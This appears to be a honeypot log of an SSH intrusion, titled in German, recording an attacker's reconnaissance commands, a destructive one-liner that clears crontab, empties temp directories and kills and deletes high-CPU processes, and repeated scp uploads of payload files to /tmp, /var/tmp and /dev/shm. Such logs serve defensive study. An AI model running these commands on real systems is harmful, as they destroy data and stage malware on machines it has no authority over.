SSH-Angriff aus Niederlande: Schadcode nachladen und Einnisten per Cronjob

user='flink' pass='support'
flink@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
flink@srv01:~$ uname -m | awk '{printf $1}'
x86_64
flink@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }'
up 8 days, 03:45
flink@srv01:~$ lspci | egrep VGA && lspci | grep 3D
00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v5/E3-1200 v6 | 3rd Generation Core (Intel 4th Gen) Integrated Graphics Controller (rev 06)
flink@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14-
Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz
flink@srv01:~$ curl ipinfo.io/org
AS140612
flink@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1
bash: nvidia-smi: command not found
flink@srv01:~$ nvidia-smi -q | grep "Product Name"
bash: nvidia-smi: command not found
flink@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1
0
flink@srv01:~$ uname -n | awk '{printf $1}'
web02
flink@srv01:~$ uname -r | awk '{printf $1}'
4.15.0-213-generic
flink@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d…
bash: pidof: command not found
bash: pkill: command not found
flink@srv01:~$ echo support > /tmp/d.log
flink@srv01:~$ scp -qt "/var/tmp/ruUsTGgs"
flink@srv01:~$ scp -qt "/tmp/ruUsTGgs"
flink@srv01:~$ scp -qt "/dev/shm/ruUsTGgs"
flink@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
flink@srv01:~$ scp -qt "/var/tmp/ulGMTqbP"
flink@srv01:~$ scp -qt "/tmp/ulGMTqbP"
flink@srv01:~$ scp -qt "/dev/shm/ulGMTqbP"
flink@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
flink@srv01:~$ echo root123 > /tmp/d.log
flink@srv01:~$ scp -qt "/var/tmp/vJvldZaz"
flink@srv01:~$ scp -qt "/tmp/vJvldZaz"
flink@srv01:~$ scp -qt "/dev/shm/vJvldZaz"
flink@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
flink@srv01:~$ echo x2goprint > /tmp/d.log
flink@srv01:~$ scp -qt "/var/tmp/LdOrDivs"
flink@srv01:~$ scp -qt "/tmp/LdOrDivs"
flink@srv01:~$ scp -qt "/dev/shm/LdOrDivs"
flink@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
flink@srv01:~$ echo Admin > /tmp/d.log
flink@srv01:~$ scp -qt "/var/tmp/MUPoZoUm"
flink@srv01:~$ scp -qt "/tmp/MUPoZoUm"
flink@srv01:~$ scp -qt "/dev/shm/MUPoZoUm"